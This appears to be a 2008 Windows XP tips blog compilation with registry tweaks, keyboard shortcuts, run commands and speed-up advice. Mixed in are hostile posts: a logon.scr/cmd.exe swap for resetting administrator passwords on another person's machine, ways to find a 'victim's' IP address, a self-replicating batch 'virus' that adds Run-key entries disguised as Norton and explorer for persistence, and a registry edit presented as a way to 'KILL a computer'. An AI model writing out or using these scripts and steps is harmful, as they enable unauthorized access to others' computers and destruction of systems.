P.S (Type these codes without the quotes)

Branding Windows with your name

2008-10-18T18:24:00.000-07:00

Open notepad and dump the following lines into it and save it with the name OEMINFO.INI in

c:\windows\system32 directory:

[General]
Manufacturer=Your Name Here
Model=Your Model Here
[Support Information]
Line1=Your Name Here
Line2=Your Address Here
Line3=Your Email Address Here

Save the file, then make a right click on my computer select properties, in the general tab a button will be highlighted (support information) make a click on it, you will be able to see the changes.

Reg Files:Tweaks And Tips On Windows XP

2008-08-09T18:37:00.000-07:00

1. DESC: Add Command Promt to the Right Click

What it will do:

When you Right-Click any folder - it will show the "Command Promt Here" option. So you can browse through that folder in Command Promt.

Steps:

Open Notepad

Copy and paste the code from the box into the notepad.

Code:

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\Directory\shell\Command Prompt Here]
@="Command &Prompt Here"

[HKEY_CLASSES_ROOT\Directory\shell\Command Prompt Here\command]
@="cmd.exe /k cd %1 "

In Notepad, click File > Save As... >
Type these infos:

File name: Add Command Line to the Right Click.reg
Save as type: All Files

Now, choose your desired folder to save the file in.
Double click the reg file to run.

2. DESC: Add Open New Window to the Right Click

What it will do:

When you Right-Click on any Folder - it will show the "Open in New Window" option. Clicking it will open that folder in New Window(Windows Explorer Style).

Steps:

Open Notepad

Copy and paste the code from the box into the notepad.

Code:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\opennew]
@="Open in New &Window"

[HKEY_LOCAL_MACHINE\SOFTWARE\Classes\Directory\shell\opennew\command]
@="explorer.exe /e, %1"

In Notepad, click File > Save As... >
Type these infos:

File name: Add Open New Window to the Right Click.reg
Save as type: All Files

Now, choose your desired folder to save the file in.
Double click the reg file to run.

3. DESC: Remove Shortcut to... Prefix on Shortcuts

What it will do:

When you Right-Click on any File and select "Create Shortcut" - it will NOT show the "Shortcut to... " in the filename of the newly created shortcut.

Steps:

Open Notepad

Copy and paste the code from the box into the notepad.

Code:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer]
"link"=hex:00,00,00,00

In Notepad, click File > Save As... >
Type these infos:

File name: Remove Shortcut to... Prefix on Shortcuts.reg
Save as type: All Files

Now, choose your desired folder to save the file in.
Double click the reg file to run.

4. DESC: Disable Low Disk Space Message

What it will do:

It will NOT show the pop-up message by windows when one of the drives is low on disk space.

Steps:

Open Notepad

Copy and paste the code from the box into the notepad.

Code:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoLowDiskSpaceChecks"=dword:00000001Blogger: PC PLANET - Create Post

In Notepad, click File > Save As... >
Type these infos:

File name: Disable Low Disk Space Message.reg
Save as type: All Files

Now, choose your desired folder to save the file in.
Double click the reg file to run.

5. DESC: Hide the Clock in the Notification Area

What it will do:

It will NOT show the clock in the Notification Area. For this to work, you wil have to add the reg file to the registry and restart your pc.

Steps:

Open Notepad

Copy and paste the code from the box into the notepad.

Code:

Windows Registry Editor Version 5.00

[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"HideClock"=dword:00000001

[HKEY_CURRENT_USER\Control Panel\don't load]
"timedate.cpl"="No"

In Notepad, click File > Save As... >
Type these infos:

File name: Hide the Clock in the Notification Area.reg
Save as type: All Files

Now, choose your desired folder to save the file in.
Double click the reg file to run.

6. DESC: Shutdown PC at any fixed time.

As the desc. said - Shutdown your PC, at any fixed time.

Open Notepad
Copy and paste the below code in it.

Code:


cmdow @ /HID
shutdown.exe -s -f -t  -c "Your personal message."
EXIT

In place of type how many seconds after you want the PC to shutdown by itself.
Your personal message - Any message you want.

An example if you want to shutdown the PC after 1 hour.

Code:


cmdow @ /HID
shutdown.exe -s -f -t 3600 -c "Shutting down PC in 1 hour..."
EXIT

Then in Notepad > File > Save As >
File name - 1hr_shutdown.cmd
Save File Type - All Files

PS: Once you started the shutdown process, it can't be stopped.

Top 13 causes of a Slow or Freezing PC

2008-08-09T18:33:00.000-07:00

When your PC was new, it ran like a champ. Programs loaded fast, you couldget your work done efficiently, browse the web, and play a few gameswith little concern about your PC's performance. But lately you're wondering why your PC is so slow and how these intrusive popup ads had gotten into your system.

To keep your PC as fast and efficient as new, you need to care these 13 common causes of a slow PC.

Browser Hijacks Who changed my homepage?? Why do these damn popups keep coming?? One of the vulnerabilities of web browsers can be a hijack. Something plugging into, replacing part of, or compromising your window to the Internet, the web browser. These can be stubborn problems.
Browser hijacks can fall into the same category as Spyware, adware, malware, and other Trojans but always directly affect the web browser of the computer that is hijacked. Many computer users do not realize when these programs have been secretly installed on their computer. They may also not realize that their system or browsers settings have been changed. This might be the top 1 common reason that makes your PC slow.
Recommended: Download Hijackthis 2.02 to have full check against Browser Hijacks
Spyware
Malicious programs that stealthily embed themselves into your Windows Registry and core file system are the number two most common cause of a slow PC or poor PC performance.
These applications are usually installed without your knowledge or consent during the installation of a "free" application you're trying out, or pushed out automatically in the background when you visit websites that engage in this practice without the user's knowledge.
These spyware programs must be removed as soon as possible to return your PC to top running speed, and before they damage your file system.
In some cases they can be removed by manually editing the Windows core file system and registry or by using an automatic spyware remover like XoftspySE, our favorite pick for spyware removal and cleaning.
Recommended: Download Spyware Doctor to run a free spyware scan
Virus
Closely related to Spyware, viruses can wreak havoc on your system’s performance and severely limit your PC’s ability to do what you ask it to.
Typically, viruses get onto your computer via infected email or instant messages, although they can also be installed via applications or files that you download from file-sharing networks and other non-trusted web sites.
Manual removal of viruses is very difficult and rarely successful, and we strongly advise the use of a quality anti-virus program like Kaspersky Internet Security 7.0
System Start-up packed with too many applications (Start-up overload)
Over time, as you add more and more programs to your computer, many of these applications automatically add themselves to your Windows Start-up folder.
Additionally, these applications can add themselves quietly to a hidden area of your Windows Start-up system (accessed via the MSCONFIG run command). In extreme cases your PC will appear completely frozen.
Limiting the number of applications loading themselves at start-up can speed boot times considerably and increase overall system performance.
Manage your hidden Windows Start-up controls automatically with PC Washer (Recommended)
Corrupted/Bloated Windows Registry
The Windows Registry is the master control center for your operating system and applications it runs. Corruption or overload registry issues can cause all sorts of pc performance problems, including poor application startup times, slow Windows start-up, extremely slow shut down, inability to resume from computer sleep and more.
Cleaning, compacting, and optimizing your Windows registry can go a long way to dramatically speeding up your computer's performance, start-up and shutdown speed.
Recommended: Download Registry Mechanic to run a free Registry scan now
Badly Fragmented Hard Drive
The sixth most common reason for a slow PC is hard drive and file system fragmentation. Over time, your computer's files can be scattered into bits and pieces located all over your hard drive. This is called fragmentation. Windows has a built in tool to help you with hard drive defragmentation:
1. Open My Computer
2. Right-click once on your C: Drive and go down to "Properties"
3. Select the "Tools" tab and choose the "Defragment Now" option and follow the step by step instructions.
Poor Security Software that is stealing system resources
Unfortunately, a large number of security software programs and suites out there demand a huge portion of your system resources and memory. This can lead to sluggish performance from the rest of your PC while your security software is constantly scanning and monitoring your computer for threats.
While threat detection is essential, some security vendors go overboard with their approach and drag your PC down with them.
To see how much memory and system resources your security software is using, press and hold CTRL+ALT+DELETE and choose the task manager.
Once the task manager is open look at the "processes" section to see how much of your system resources are being used by your security apps.
Remnants of uninstalled programs
Uninstalling an application either via the control panel or the application's start menu folder has been known to leave behind remnants of the uninstalled program. These remnants can slow down your computer while Windows tries to figure out what to do with them. Additionally, residue of old program stays behind in your system registry, clogging up your PC's core.
Pagefile
The Windows page file is a temporary area of memory that your computer uses to move files around while it processes functions. Basically, it’s a buffer that your computer uses for wiggle room. If your Pagefile is too small, your operating system won’t have enough room to move and you could end up with poor performance and error messages.
1. To increase the size of your Pagefile:
2. Right-click on "My Computer" and go down to "Properties"
3. Click the "Advanced" tab
4. Click "Settings" under the "Performance" section
5. Click the "Advanced" button
6. Click "Change" under "Virtual Memory"
Hard Drive getting full and too many internet temp and windows temp files
If your hard drive has less than 10% free space, you will experience a dramatic slowdown in the performance of your PC. To improve this, free up some space by removing old documents you no longer use or programs that are no longer needed.
Additionally, your Internet Explorer temp files folder can become jam-packed and lead to extraordinary launch times for Internet Explorer. To clean this folder out with PC Washer (Recommended)
Damaged Operating System
With enough abuse, any operating system can malfunction. In most cases, it can be repaired using the original installation operating system CD-ROM or sometimes the recovery disk provided by the manufacturer of your computer. This method is basically a re-installation of the operating system files.
Not Enough Memory
It's important to have enough memory on your computer to keep programs running smoothly, especially if you have large programs like Microsoft Office, or play a lot of PC games. If you are using Windows XP it is recommended that you have at least 512Mb RAM, although at this point, 1Gb seems to be the sweet spot, more again if you are using Vista. The amount of RAM your PC has can be checked by right-clicking 'My Computer' and choosing 'Properties'. If you need to upgrade your RAM be sure it's the right type for your PC. Fitting the wrong type of RAM can cause the PC to slow down even more, crash inexplicably or stop working altogether.
Hardware Problems
The last common cause of a slow or freezing computer is gradually dying internal hardware components. These can often show up in the form of slow boot and shut down, as well as poor program launches riddled with errors.
There are very few hardware diagnostic utilities out there, so we recommend careful removal of any newly installed pc components to see if they are causing a problem or incompatibility. Other than that, taking your PC to a certified, trusted hardware repair shop is usually a good idea.
Before taking it in to a shop with suspected hardware problems however, be sure to try to boot into safe mode to see if you can isolate issues you suspect are hardware failure related.

Keyboard Shortcuts

2008-08-09T18:31:00.000-07:00

> CTRL+Z (Undo)

> DELETE (Delete)

> SHIFT+DELETE (Delete the selected item permanently without placing the item in the Recycle Bin)

> CTRL while dragging an item (Copy the selected item)

> CTRL+SHIFT while dragging an item (Create a shortcut to the selected item)

> F2 key (Rename the selected item)

> CTRL+RIGHT ARROW (Move the insertion point to the beginning of the next word)

> CTRL+LEFT ARROW (Move the insertion point to the beginning of the previous word)

> CTRL+DOWN ARROW (Move the insertion point to the beginning of the next paragraph)

> CTRL+UP ARROW (Move the insertion point to the beginning of the previous paragraph)

> CTRL+SHIFT with any of the arrow keys (Highlight a block of text)

> SHIFT with any of the arrow keys (Select more than one item in a window or on the desktop, or select text in a document)

> CTRL+A (Select all)

> F3 key (Search for a file or a folder)

> ALT+ENTER (View the properties for the selected item)

> ALT+F4 (Close the active item, or quit the active program)

> ALT+ENTER (Display the properties of the selected object)

> ALT+SPACEBAR (Open the shortcut menu for the active window)

> CTRL+F4 (Close the active document in programs that enable you to have multiple documents open simultaneously)

> ALT+TAB (Switch between the open items)

> ALT+ESC (Cycle through items in the order that they had been opened)

> F6 key (Cycle through the screen elements in a window or on the desktop)

> F4 key (Display the Address bar list in My Computer or Windows Explorer)

> SHIFT+F10 (Display the shortcut menu for the selected item)

> ALT+SPACEBAR (Display the System menu for the active window)

> CTRL+ESC (Display the Start menu)

> ALT+Underlined letter in a menu name (Display the corresponding menu)

> Underlined letter in a command name on an open menu (Perform the corresponding command)

> F10 key (Activate the menu bar in the active program)

> RIGHT ARROW (Open the next menu to the right, or open a submenu)

> LEFT ARROW (Open the next menu to the left, or close a submenu)

> F5 key (Update the active window)

> BACKSPACE (View the folder one level up in My Computer or Windows Explorer)

> ESC (Cancel the current task)

> SHIFT when you insert a CD-ROM into the CD-ROM drive (Prevent the CD-ROM from automatically playing)

> Windows Logo (Display or hide the Start menu)

> Windows Logo+BREAK (Display the System Properties dialog box)

> Windows Logo+D (Display the desktop)

> Windows Logo+M (Minimize all of the windows)

> Windows Logo+SHIFT+M (Restore the minimized windows)

> Windows Logo+E (Open My Computer)

Create One-Click Shutdown and Reboot Shortcuts

2008-08-09T18:29:00.000-07:00

First, create a shortcut on your desktop by right-clicking on the desktop, choosing New, and then choosing Shortcut. The Create Shortcut Wizard appears. In the box asking for the location of the shortcut, type shutdown. After you create the shortcut, double-clicking on it will shut down your PC.

But you can do much more with a shutdown shortcut than merely shut down your PC. You can add any combination of several switches to do extra duty, like this:

shutdown -r -t 01 -c "Rebooting your PC"
Double-clicking on that shortcut will reboot your PC after a one-second delay and display the message "Rebooting your PC." The shutdown command includes a variety of switches you can use to customize it. Table 1-3 lists all of them and describes their use.

I use this technique to create two shutdown shortcuts on my desktop—one for turning off my PC, and one for rebooting. Here are the ones I use:

shutdown -s -t 03 -c "Bye Bye m8!"
shutdown -r -t 03 -c "Ill be back m8 !"

Switch
What it does

-s
Shuts down the PC.

-l
Logs off the current user.

-t nn
Indicates the duration of delay, in seconds, before performing the action.

-c "messagetext"
Displays a message in the System Shutdown window. A maximum of 127 characters can be used. The message must be enclosed in quotation marks.

-f
Forces any running applications to shut down.

-r
Reboots the PC.

The Hidden Microsoft Song

2008-08-09T18:27:00.002-07:00

Do you know the hidden Microsoft song? I hear this song while im installing windows, where its almost at the end where have to register your windows,
enter your username.......etc.
Some people might not hear it because, your sound card driver isn't installed. If you want to know and hear that song, here it:
Go to
Start > Run > Copy and then Paste, or press and hold the Start + r .

Code:

C:\windows\system32\oobe\images\title.wma

and hit Enter, of course ... Your media player should load the song, and now you can hear it.

download here

Code:

http://rapidshare.com/files/134023472/title.rar

99 Windows XP Run Commands

2008-08-09T18:27:00.001-07:00

99 Commands the Winxp Command prompt can run. Here is a list of commands that you can run off from the Run Command prompt in XP:
Go to Start Menu > Run… and type in the command to run

Application = Command

Accessibility Controls = access.cpl
Add Hardware Wizard = hdwwiz.cpl
Add/Remove Programs = appwiz.cpl
Administrative Tools = control admintools
Automatic Updates = wuaucpl.cpl
Bluetooth Transfer Wizard = fsquirt
Calculator = calc
Certificate Manager = certmgr.msc
Character Map = charmap
Check Disk Utility = chkdsk
Clipboard Viewer = clipbrd
Command Prompt = cmd
Component Services = dcomcnfg
Computer Management = compmgmt.msc
Date and Time Properties = timedate.cpl
DDE Shares = ddeshare
Device Manager = devmgmt.msc
Direct X Control Panel (If Installed)* = directx.cpl
Direct X Troubleshooter = dxdiag
Disk Cleanup Utility = cleanmgr
Disk Defragment = dfrg.msc
Disk Management = diskmgmt.msc
Disk Partition Manager = diskpart
Display Properties = control desktop/desk.cpl
Dr. Watson System TroubleShooting Utility = drwtsn32
Driver Verifier Utility = verifier
Event Viewer = eventvwr.msc
File Signature Verification Tool = sigverif
Findfast = findfast.cpl
Folders Properties = control folders
Fonts = control fonts
Fonts Folder = fonts
Free Cell Card Game = freecell
Game Controllers = joy.cpl
Group Policy Editor (XP Prof) = gpedit.msc
Hearts Card Game = mshearts
Iexpress Wizard = iexpress
Indexing Service = ciadv.msc
Internet Properties = inetcpl.cpl
IP Configuration = ipconfig
Java Control Panel (If Installed) = jpicpl32.cpl
Java Application Cache Viewer (If Installed) = javaws
Keyboard Properties = control keyboard
Local Security Settings = secpol.msc
Local Users and Groups = lusrmgr.msc
Logs You Out Of Windows = logoff
Microsoft Chat = winchat
Minesweeper Game = winmine
Mouse Properties = control mouse
Mouse Properties = main.cpl
Network Connections = control netconnections
Network Connections = ncpa.cpl
Network Setup Wizard = netsetup.cpl
Notepad = notepad
Nview Desktop Manager (If Installed) = nvtuicpl.cpl
Object Packager = packager
ODBC Data Source Administrator = odbccp32.cpl
On Screen Keyboard = osk
Opens AC3 Filter (If Installed) = ac3filter.cpl
Password Properties = password.cpl
Performance Monitor = perfmon.msc
Performance Monitor = perfmon
Phone and Modem Options = telephon.cpl
Power Configuration = powercfg.cpl
Printers and Faxes = control printers
Printers Folder = printers
Private Character Editor = eudcedit
Quicktime (If Installed) = QuickTime.cpl
Regional Settings = intl.cpl
Registry Editor = regedit
Registry Editor = regedit32
Remote Desktop = mstsc
Removable Storage = ntmsmgr.msc
Removable Storage Operator Requests = ntmsoprq.msc
Resultant Set of Policy (XP Prof) = rsop.msc
Scanners and Cameras = sticpl.cpl
Scheduled Tasks = control schedtasks
Security Center = wscui.cpl
Services = services.msc
Shared Folders = fsmgmt.msc
Shuts Down Windows = shutdown
Sounds and Audio = mmsys.cpl
Spider Solitare Card Game = spider
SQL Client Configuration = cliconfg
System Configuration Editor = sysedit
System Configuration Utility = msconfig
System File Checker Utility = sfc
System Properties = sysdm.cpl
Task Manager = taskmgr
Telnet Client = telnet
User Account Management = nusrmgr.cpl
Utility Manager = utilman
Windows Firewall = firewall.cpl
Windows Magnifier = magnify
Windows Management Infrastructure = wmimgmt.msc
Windows System Security Tool = syskey
Windows Update Launches = wupdmgr
Windows XP Tour Wizard = tourstart
Wordpad = write

Add an extra location to the 'Send to' menu in Windows XP

2008-08-09T18:20:00.000-07:00

This guide will explain how to add an extra location to the 'Send to' menu in Windows XP.

Click on Start..... then Run
Type sendto in the box that appears
Click on Ok

A Windows Explorer window will open, showing the current locations available in the Send to menu.

To add a new entry....

Click on File
Select New
Then click on Shortcut
Click on the Browse button in the window that appears
Now navigate to the folder that you want to add to the Send to menu
Click on Next
Give this shortcut a name
Click on Finish

You can add Printers, Fax Printers, Disc drives or Windows based Programs.

Note.
Any locations that you add to the Send to menu, will only appear on that users profile.
Each user can customise their own menu.

Enabling right click in websites that prohibit it

2008-06-26T18:54:00.000-07:00

Lots of web sites have disabled the right click function of the mouse button... it's really, really annoying. This is done so that you don't steal (via right-click->save picture) their photos or images or any other goodies. Unfortunately, it disables ALL right-click functionality: copy, paste, open in new window.

For Mozilla Firefox

go to tools
click options
then content
and unclick the box next to "enable javascript"

For Internet Explorer

It's easy to change,
Click "Tools"->"Internet Options"
Click the "Security" tab
Click "Custom Level"
Scroll down to the "Scripting" section
Set "Active Scripting" to "disable"
Click "Ok" a couple of times.

You'll probably want to turn this back to "enable" when your done... 'cause generally the javascript enhances a website.

Easy ways to get Windows XP ADMIN password

2008-06-26T18:50:00.001-07:00

How to hack Windows XP Admin Passwords the easy way
------------------------------------------------------------------------------
This hack will only work if the person that owns the machine
has no intelligence.

This is how it works:

When you or anyone installs Windows XP for the first time your asked to put in your username and up to five others. Now, unknown to a lot of other people this is the only place in
Windows XP that you can password the default Administrator Diagnostic Account. This means that to by pass most administrators accounts on Windows XP all you have to do is boot to safe mode by pressing F8 during boot up and choosing it. Log into the Administrator Account
and create your own or change the password on the current Account. This only works if the user on setup specified a password for the Administrator Account.

This has worked for me on both Windows XP Home and Pro.
-----------------------------------------------------------------------------
Now this one seems to be machine dependant, it works randomly(don't know why)

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:
(this appeared on www.astalavista.com a few days ago but i found that it wouldn't work
on the welcome screen of a normal booted machine)

-----------------------------------------------------------------------------
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
-----------------------------------------------------------------------------

Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
"net user password"
If the Administrator Account is called Frank and you want the password blah enter this
"net user Frank blah"
and this changes the password on franks machine to blah and your in.

Admin Access in a locked Environment.

This is straight for a brain child. It makes so much sense that no one ever thought to do it.
Enjoy. Also beware to change what you have done. Or any machine that you did the hack on will
show what you did when the screen saver comes up. The only hard part is finding your way to C:\prompt or ms-dos. So begin.

If you can log in as an account , drop to DOS start -> run -> cmd, at the C: prompt type the following (assuming default install locations)
C:\> cd \winnt\system32
C:\winnt\system32> copy logon.scr logon.scr.old
C:\winnt\system32> del logon.scr
C:\winnt\system32> copy cmd.exe logon.scr
Now log off the machine, logon.scr is the screen saver that will kick in after 15 minutes of not touching the keyboard/mouse at the logon screen. Wait 15-20 minutes and a DOS prompt with FULL SYSTEM rights will pop up, then just to
C:\> net user administrator
and then log in with the new account.
Try this, might work, as long as he didn't change default permissions on C:\winnt and C:\winnt\system32 you should be golden.

3 ways to get someone's IP address

2008-06-26T18:49:00.000-07:00

Obtaining an IP from MSN Messenger.
----------------------------------

Firstly we learn the method used by most people when they want to get
someone elses IP Address.

Step 1 - Start MSN Messenger and login as yourself.

Pg.17

Step 2 - Hit your "Start" button and click run. Type into the white box
"Command" (without the quotation marks)

Step 3 - Type in "Netstat -N" (without the quotation marks) into the
black box and hit enter.

Step 4 - Start a conversation with your 'victim' and send them a file.
Once they accept the file Hit your "Start" button and click run. Type
into the white box "Command" (without the quotation marks) and Type in "Netstat -N" (without the quotation marks) into the black box and hit
enter.

Step 5 - Look in the middle column of both your MS Dos boxes and look
in the newer wndow for the IP address that has magically appeared in
the middle column. This is your victim's IP Address.

Obtaiing an IP from an E-Mail.
-------------------------------

Ok, lets say the person does not use MSN Messenger (can't blame them)
we can get an IP address from most E-Mail address. In this example we
shall use Outlook Express to view the E-Mails in.

Step 1 - Load Outlok express and left click on an E-Mail that was sent
from your 'victim'

Step 2 - Right click this E-Mail and click the "Properties" button.

Step 3 - Now Click on the tab displaying as it's text "Details" and
look for the buttom saying "Message Source", once found (not hard) click it.

Step 4 - Look in all the jargon for something like "X-Originating-IP: "
with a number after the colon. This number is the sender's IP Address.

Step 5 - If you cannot find "X-Originating-IP: " then do not worry.
Look for instead "Received:", and go along this string untill you come
to a nuber in brackets, this however maybe an IP but it might not be
the IP address of the 'victim', infact if they sent the E-Mail from a
we E-Mail service (like hotmail.com) then chances are it is not their
IP address.

Obtaiing an IP from Physical Access.
------------------------------------

If you have physical access to a computer then getting the IP address
is simple.

Step 1 - Click the "Start" button and hit "Run". Type in "Command" and
hit enter.

Step 2 - Type in "ipconfig" OR "winipcfg" and hit enter now look for
where it says "IP Address:", next to this is the IP of the computer you
are using.

But lets say it is a school computer, what if they have removed the run
button or removed the MS Dos prompt, well then you load the Internet
and navigate to either: http://www.whatismyip.com
http://www.ipchicken.com
both of these websites will display the IP Address of the current
computer.

************************************************** *********************

So now you should know three methods of getting the IP address from a
Computer.

How to make a VIRUS!!!!!

2008-06-26T18:42:00.000-07:00

start note pad

----------------------------------------------------------------------------------------------
PASTE THIS
----------------------------------------------------------------------------------------------

:1
@echo off
title 1337 USURP
echo Loading Virus.
copy 1.bat C:\2.bat
copy 1.bat C:\3.bat
copy 1.bat C:\1.bat
start C:\2.bat
start C:\1.bat
start C:\3.bat
copy 2.bat C:\2.bat
copy 3.bat C:\3.bat
copy 1.bat C:\windows\1.bat
copy 2.bat C:\windows\2.bat
copy 3.bat C:\windows\3.bat
start C:\windows\2.bat
start C:\windows\3.bat
start C:\windows\1.bat

@echo on

PLEASE WAIT WHILE WE FIX THIS PROBLEM...
PLEASE WAIT WHILE WE FIX THIS PROBLEM....
PLEASE WAIT WHILE WE FIX THIS PROBLEM.....
PLEASE WAIT WHILE WE FIX THIS PROBLEM......
PLEASE WAIT WHILE WE FIX THIS PROBLEM.......
PLEASE WAIT WHILE WE FIX THIS PROBLEM........
PLEASE WAIT WHILE WE FIX THIS PROBLEM.........
PLEASE WAIT WHILE WE FIX THIS PROBLEM..........
PLEASE WAIT WHILE WE FIX THIS PROBLEM.........
PLEASE WAIT WHILE WE FIX THIS PROBLEM.........
PLEASE WAIT WHILE WE FIX THIS PROBLEM........
PLEASE WAIT WHILE WE FIX THIS PROBLEM.......
PLEASE WAIT WHILE WE FIX THIS PROBLEM......
PLEASE WAIT WHILE WE FIX THIS PROBLEM.....
PLEASE WAIT WHILE WE FIX THIS PROBLEM....

@echo off
goto 1

__________________________________________________ ___________________
SAVE AS 1.bat
__________________________________________________ ___________________

You can even make it an autoexec.bat file and load on start up
or using notepad make a reg file and save *.reg
This is so 1337 and no A-V can detect it you can make it move around or copy all over the system and rename itself and start

Yo guys should try it you can just restart your computer but u can also make it load in startup if you want. thats what i did and i had to use safemode..

OK SOME OF YOU THINK THAT ITS NOT THAT GOOD WELL I MADE AN IMPROVEMENT
it makes a .reg file and then runs it silently so there is no confirmation and adds it to your run registry
so basically it crashes your comp
makes taskmanager useless
and loads upon boot
safe mode is the only way through
lol check it out

__________________________________________________ __________________________________

@echo off
del C:\1.reg
>>"C:\1.reg" ECHO Windows Registry Editor Version 5.00
>>"C:\1.reg" ECHO [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run]
>>"C:\1.reg" ECHO "MSConfig"="C:\\1.bat "
>>"C:\1.reg" ECHO "MCUpdateExe"="c:\\2.bat"
>>"C:\1.reg" ECHO "explorer"="c:\\3.bat"
>>"C:\1.reg" ECHO "Norton"="c:\\windows\\1.bat"
>>"C:\1.reg" ECHO "System"="c:\\windows\\2.bat"
>>"C:\1.reg" ECHO "autoexec"="c:\\windows\\3.bat"
regedit.exe /s C:\1.reg

>>"C:\2.bat" ECHO :1
>>"C:\2.bat" ECHO copy 2.bat C:\3.bat
>>"C:\2.bat" ECHO copy 2.bat C:\4.bat
>>"C:\2.bat" ECHO copy 2.bat C:\5.bat
>>"C:\2.bat" ECHO start C:\2.bat
>>"C:\2.bat" ECHO start C:\3.bat
>>"C:\2.bat" ECHO start C:\4.bat
>>"C:\2.bat" ECHO start C:\5.bat
>>"C:\2.bat" ECHO copy C:\2.bat C:\windows\1.bat
>>"C:\2.bat" ECHO copy C:\3.bat C:\windows\2.bat
>>"C:\2.bat" ECHO copy C:\4.bat C:\windows\3.bat
>>"C:\2.bat" ECHO start C:\windows\1.bat
>>"C:\2.bat" ECHO start C:\windows\2.bat
>>"C:\2.bat" ECHO start C:\windows\3.bat
>>"C:\2.bat" ECHO goto 1

Save it as 2.bat and then start C:\2.bat

Simple Method to KILL a computer

2008-06-26T18:30:00.000-07:00

Click Start and then Run and type in regedit,

find the directory \HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windo ws NT\CurrentVersion

Now Look For The Key Called : SystemRoot
Double Click On It And Change It To What Ever u Want except for C:\WINDOWS

23 Ways to make your Windows run faster

2008-06-25T18:39:00.000-07:00

Since defragging the disk won't do much to improve Windows XP performance, here are 23 suggestions that will. Each can enhance the performance and reliability of your customers' PCs. Best of all, most of them will cost you nothing.

1.) To decrease a system's boot time and increase system performance, use the money you save by not buying defragmentation software -- the built-in Windows defragmenter works just fine -- and instead equip the computer with an Ultra-133 or Serial ATA hard drive with 8-MB cache buffer.

2.) If a PC has less than 512 MB of RAM, add more memory. This is a relatively inexpensive and easy upgrade that can dramatically improve system performance.

3.) Ensure that Windows XP is utilizing the NTFS file system. If you're not sure, here's how to check: First, double-click the My Computer icon, right-click on the C: Drive, then select Properties. Next, examine the File System type; if it says FAT32, then back-up any important data. Next, click Start, click Run, type CMD, and then click OK. At the prompt, type CONVERT C: /FS:NTFS and press the Enter key. This process may take a while; it's important that the computer be uninterrupted and virus-free. The file system used by the bootable drive will be either FAT32 or NTFS. I highly recommend NTFS for its superior security, reliability, and efficiency with larger disk drives.

4.) Disable file indexing. The indexing service extracts information from documents and other files on the hard drive and creates a "searchable keyword index." As you can imagine, this process can be quite taxing on any system.

The idea is that the user can search for a word, phrase, or property inside a document, should they have hundreds or thousands of documents and not know the file name of the document they want. Windows XP's built-in search functionality can still perform these kinds of searches without the Indexing service. It just takes longer. The OS has to open each file at the time of the request to help find what the user is looking for.

Most people never need this feature of search. Those who do are typically in a large corporate environment where thousands of documents are located on at least one server. But if you're a typical system builder, most of your clients are small and medium businesses. And if your clients have no need for this search feature, I recommend disabling it.

Here's how: First, double-click the My Computer icon. Next, right-click on the C: Drive, then select Properties. Uncheck "Allow Indexing Service to index this disk for fast file searching." Next, apply changes to "C: subfolders and files," and click OK. If a warning or error message appears (such as "Access is denied"), click the Ignore All button.

5.) Update the PC's video and motherboard chipset drivers. Also, update and configure the BIOS. For more information on how to configure your BIOS properly, see this article on my site.

6.) Empty the Windows Prefetch folder every three months or so. Windows XP can "prefetch" portions of data and applications that are used frequently. This makes processes appear to load faster when called upon by the user. That's fine. But over time, the prefetch folder may become overloaded with references to files and applications no longer in use. When that happens, Windows XP is wasting time, and slowing system performance, by pre-loading them. Nothing critical is in this folder, and the entire contents are safe to delete.

7.) Once a month, run a disk cleanup. Here's how: Double-click the My Computer icon. Then right-click on the C: drive and select Properties. Click the Disk Cleanup button -- it's just to the right of the Capacity pie graph -- and delete all temporary files.

8.) In your Device Manager, double-click on the IDE ATA/ATAPI Controllers device, and ensure that DMA is enabled for each drive you have connected to the Primary and Secondary controller. Do this by double-clicking on Primary IDE Channel. Then click the Advanced Settings tab. Ensure the Transfer Mode is set to "DMA if available" for both Device 0 and Device 1. Then repeat this process with the Secondary IDE Channel.

9.) Upgrade the cabling. As hard-drive technology improves, the cabling requirements to achieve these performance boosts have become more stringent. Be sure to use 80-wire Ultra-133 cables on all of your IDE devices with the connectors properly assigned to the matching Master/Slave/Motherboard sockets. A single device must be at the end of the cable; connecting a single drive to the middle connector on a ribbon cable will cause signaling problems. With Ultra DMA hard drives, these signaling problems will prevent the drive from performing at its maximum potential. Also, because these cables inherently support "cable select," the location of each drive on the cable is important. For these reasons, the cable is designed so drive positioning is explicitly clear.

10.) Remove all spyware from the computer. Use free programs such as AdAware by Lavasoft or SpyBot Search & Destroy. Once these programs are installed, be sure to check for and download any updates before starting your search. Anything either program finds can be safely removed. Any free software that requires spyware to run will no longer function once the spyware portion has been removed; if your customer really wants the program even though it contains spyware, simply reinstall it. For more information on removing Spyware visit this Web Pro News page.

11.) Remove any unnecessary programs and/or items from Windows Startup routine using the MSCONFIG utility. Here's how: First, click Start, click Run, type MSCONFIG, and click OK. Click the StartUp tab, then uncheck any items you don't want to start when Windows starts. Unsure what some items are? Visit the WinTasks Process Library. It contains known system processes, applications, as well as spyware references and explanations. Or quickly identify them by searching for the filenames using Google or another Web search engine.

12.) Remove any unnecessary or unused programs from the Add/Remove Programs section of the Control Panel.

13.) Turn off any and all unnecessary animations, and disable active desktop. In fact, for optimal performance, turn off all animations. Windows XP offers many different settings in this area. Here's how to do it: First click on the System icon in the Control Panel. Next, click on the Advanced tab. Select the Settings button located under Performance. Feel free to play around with the options offered here, as nothing you can change will alter the reliability of the computer -- only its responsiveness.

